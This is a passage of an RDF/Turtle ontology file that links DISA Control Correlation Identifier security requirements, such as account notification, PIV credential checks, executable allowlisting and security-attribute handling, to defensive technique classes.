    d3f:definition "The information system tracks problems associated with the information transfer." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2010-05-11T00:00:00"^^xsd:dateTime .

d3f:CCI-001574_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001574" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system rejects or delays, as defined by the organization, network traffic which exceed the organization-defined thresholds." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2010-05-11T00:00:00"^^xsd:dateTime .

d3f:CCI-001589_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001589" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization incorporates detection of unauthorized, security-relevant configuration changes into the organization‚Äôs incident response capability to ensure they are tracked." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:OperatingSystemMonitoring ;
    d3f:published "2010-05-12T00:00:00"^^xsd:dateTime .

d3f:CCI-001619_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001619" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces password complexity by the minimum number of special characters used." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2010-05-12T00:00:00"^^xsd:dateTime .

d3f:CCI-001632_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001632" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization protects nonlocal maintenance sessions by separating the maintenance session from other network sessions with the information system by either physically separated communications paths or logically separated communications paths based upon encryption." ;
    d3f:exactly d3f:EncryptedTunnels ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2010-05-12T00:00:00"^^xsd:dateTime .

d3f:CCI-001662_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001662" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system takes organization-defined corrective action when organization-defined unacceptable mobile code is identified." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DynamicAnalysis,
        d3f:EmulatedFileAnalysis,
        d3f:FileContentRules ;
    d3f:published "2010-05-12T00:00:00"^^xsd:dateTime .

d3f:CCI-001668_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001668" ;
    d3f:broader d3f:FileAnalysis,
        d3f:NetworkTrafficAnalysis,
        d3f:PlatformMonitoring,
        d3f:ProcessAnalysis ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs malicious code protection mechanisms at workstations, servers, or mobile computing devices on the network to detect and eradicate malicious code transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means or inserted through the exploitation of information system vulnerabilities." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2010-05-12T00:00:00"^^xsd:dateTime .

d3f:CCI-001677_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001677" ;
    d3f:broader d3f:MessageAuthentication,
        d3f:SenderMTAReputationAnalysis,
        d3f:SenderReputationAnalysis,
        d3f:TransferAgentAuthentication ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs spam protection mechanisms at workstations, servers, or mobile computing devices on the network to detect and take action on unsolicited messages transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2010-05-12T00:00:00"^^xsd:dateTime .

d3f:CCI-001682_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001682" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically removes or disables emergency accounts after an organization-defined time period for each type of account." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2011-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001683_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001683" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system notifies organization-defined personnel or roles for account creation actions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainAccountMonitoring ;
    d3f:published "2011-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001684_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001684" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system notifies organization-defined personnel or roles for account modification actions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainAccountMonitoring ;
    d3f:published "2011-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001685_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001685" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system notifies organization-defined personnel or roles for account disabling actions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainAccountMonitoring ;
    d3f:published "2011-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001686_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001686" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system notifies organization-defined personnel or roles for account removal actions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainAccountMonitoring ;
    d3f:published "2011-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001695_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001695" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents the execution of organization-defined unacceptable mobile code." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableDenylisting ;
    d3f:published "2011-10-07T00:00:00"^^xsd:dateTime .

d3f:CCI-001744_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001744" ;
    d3f:broader d3f:OperatingSystemMonitoring ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements organization-defined security responses automatically if baseline configurations are changed in an unauthorized manner." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-02-28T00:00:00"^^xsd:dateTime .

d3f:CCI-001749_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001749" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents the installation of organization-defined software components without verification the software component has been digitally signed using a certificate that is recognized and approved by the organization." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting ;
    d3f:published "2013-02-28T00:00:00"^^xsd:dateTime .

d3f:CCI-001762_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001762" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization disables organization-defined functions, ports, protocols, and services within the information system deemed to be unnecessary and/or nonsecure." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemConfigurationPermissions ;
    d3f:published "2013-02-28T00:00:00"^^xsd:dateTime .

d3f:CCI-001764_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001764" ;
    d3f:broader d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents program execution in accordance with organization-defined policies regarding software program usage and restrictions, and/or rules authorizing the terms and conditions of software program usage." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-02-28T00:00:00"^^xsd:dateTime .

d3f:CCI-001767_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001767" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs an allow-all, deny-by-exception policy to prohibit the execution of unauthorized software programs on the information system." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableDenylisting ;
    d3f:published "2013-02-28T00:00:00"^^xsd:dateTime .

d3f:CCI-001774_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001774" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs a deny-all, permit-by-exception policy to allow the execution of authorized software programs on the information system." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableAllowlisting ;
    d3f:published "2013-02-28T00:00:00"^^xsd:dateTime .

d3f:CCI-001811_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001811" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system alerts organization-defined personnel or roles when the unauthorized installation of software is detected." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:FileAnalysis ;
    d3f:published "2013-03-01T00:00:00"^^xsd:dateTime .

d3f:CCI-001812_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001812" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prohibits user installation of software without explicit privileged status." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting ;
    d3f:published "2013-03-01T00:00:00"^^xsd:dateTime .

d3f:CCI-001813_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001813" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces access restrictions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-03-01T00:00:00"^^xsd:dateTime .

d3f:CCI-001855_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001855" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides a warning to organization-defined personnel, roles, and/or locations within an organization-defined time period when allocated audit record storage volume reaches an organization-defined percentage of repository maximum audit record storage capacity." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemDaemonMonitoring ;
    d3f:published "2013-03-14T00:00:00"^^xsd:dateTime .

d3f:CCI-001858_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001858" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides a real-time alert in an organization-defined real-time period to organization-defined personnel, roles, and/or locations when organization-defined audit failure events requiring real-time alerts occur." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemDaemonMonitoring ;
    d3f:published "2013-03-14T00:00:00"^^xsd:dateTime .

d3f:CCI-001936_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001936" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements multifactor authentication for network access to privileged accounts such that one of the factors is provided by a device separate from the system gaining access." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Multi-factorAuthentication ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001937_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001937" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The device used in the information system implementation of multifactor authentication for network access to privileged accounts meets organization-defined strength of mechanism requirements." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Multi-factorAuthentication ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001941_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001941" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements replay-resistant authentication mechanisms for network access to privileged accounts." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:One-timePassword ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001953_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001953" ;
    d3f:broader d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system accepts Personal Identity Verification (PIV) credentials." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001954_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001954" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system electronically verifies Personal Identity Verification (PIV) credentials." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001957_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001957" ;
    d3f:broader d3f:One-timePassword ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements organization-defined out-of-band authentication under organization-defined conditions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-001991_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001991" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, for PKI-based authentication, implements a local cache of revocation data to support path discovery and validation in case of inability to access revocation information via the network." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Certificate-basedAuthentication ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-002005_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002005" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, for biometric-based authentication, employs mechanisms that satisfy organization-defined biometric quality requirements." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:BiometricAuthentication ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-002009_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002009" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system accepts Personal Identity Verification (PIV) credentials from other federal agencies." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-002010_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002010" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system electronically verifies Personal Identity Verification (PIV) credentials from other federal agencies." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-002015_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002015" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system accepts Personal Identity Verification-I (PIV-I) credentials." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-002016_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002016" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system electronically verifies Personal Identity Verification-I (PIV-I) credentials." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:BiometricAuthentication,
        d3f:Certificate-basedAuthentication ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-002041_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002041" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system allows the use of a temporary password for system logons with an immediate change to a permanent password." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:StrongPasswordPolicy ;
    d3f:published "2013-05-03T00:00:00"^^xsd:dateTime .

d3f:CCI-002145_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002145" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces organization-defined circumstances and/or usage conditions for organization-defined information system accounts." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:UserAccountPermissions ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002165_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002165" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces organization-defined discretionary access control policies over defined subjects and objects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002169_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002169" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces a role-based access control policy over defined subjects and objects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002178_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002178" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces the revocation of access authorizations resulting from changes to the security attributes of subjects based on organization-defined rules governing the timing of revocations of access authorizations." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemCallFiltering ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002179_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002179" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces the revocation of access authorizations resulting from changes to the security attributes of objects based on organization-defined rules governing the timing of revocations of access authorizations." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemCallFiltering ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002201_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002201" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, when transferring information between different security domains, uses organization-defined data type identifiers to validate data essential for information flow decisions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002205_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002205" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uniquely identifies and authenticates source by organization, system, application, and/or individual for information transfer." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002207_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002207" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uniquely identifies and authenticates destination by organization, system, application, and/or individual for information transfer." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002211_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002211" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, when transferring information between different security domains, applies the same security policy filtering to metadata as it applies to data payloads." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002218_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002218" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides access from a single device to computing platforms, applications, or data residing on multiple different security domains, while preventing any information flow between the different security domains." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002233_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002233" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents organization-defined software from executing at higher privilege levels than users executing the software." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableDenylisting ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002235_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002235" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents non-privileged users from executing privileged functions to include disabling, circumventing, or altering implemented security safeguards/countermeasures." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemConfigurationPermissions ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002238_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002238" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically locks the account or node for either an organization-defined time period, until the locked account or node is released by an administrator, or delays the next logon prompt according to the organization-defined delay algorithm when the maximum number of unsuccessful logon attempts is exceeded." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002262_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002262" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization provides the means to associate organization-defined types of security attributes having organization-defined security attribute values with information in storage." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002263_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002263" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization provides the means to associate organization-defined types of security attributes having organization-defined security attribute values with information in process." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002264_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002264" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization provides the means to associate organization-defined types of security attributes having organization-defined security attribute values with information in transmission." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002272_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002272" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system dynamically associates security attributes with organization-defined objects in accordance with organization-defined security policies as information is created and combined." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002277_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002277" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides authorized individuals (or processes acting on behalf of individuals) the capability to define the value of associated security attributes." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002281_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002281" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system maintains the association of organization-defined security attributes to organization-defined subjects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002282_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002282" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system maintains the association of organization-defined security attributes to organization-defined objects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002283_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002283" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system maintains the integrity of organization-defined security attributes associated with organization-defined subjects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002284_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002284" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system maintains the integrity of organization-defined security attributes associated with organization-defined objects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002289_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002289" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system supports the association of organization-defined security attributes with organization-defined subjects by authorized individuals (or processes acting on behalf of individuals)." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002290_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002290" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system supports the association of organization-defined security attributes with organization-defined objects by authorized individuals (or processes acting on behalf of individuals)." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002302_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002302" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements organization-defined techniques or technologies with an organization-defined level of assurance in associating security attributes to information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002306_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002306" ;
    d3f:broader d3f:SystemConfigurationPermissions,
        d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides authorized individuals the capability to define or change the type of security attributes available for association with subjects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002307_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002307" ;
    d3f:broader d3f:SystemConfigurationPermissions,
        d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides authorized individuals the capability to define or change the value of security attributes available for association with subjects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002308_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002308" ;
    d3f:broader d3f:SystemConfigurationPermissions,
        d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides authorized individuals the capability to define or change the type of security attributes available for association with objects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002309_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002309" ;
    d3f:broader d3f:SystemConfigurationPermissions,
        d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
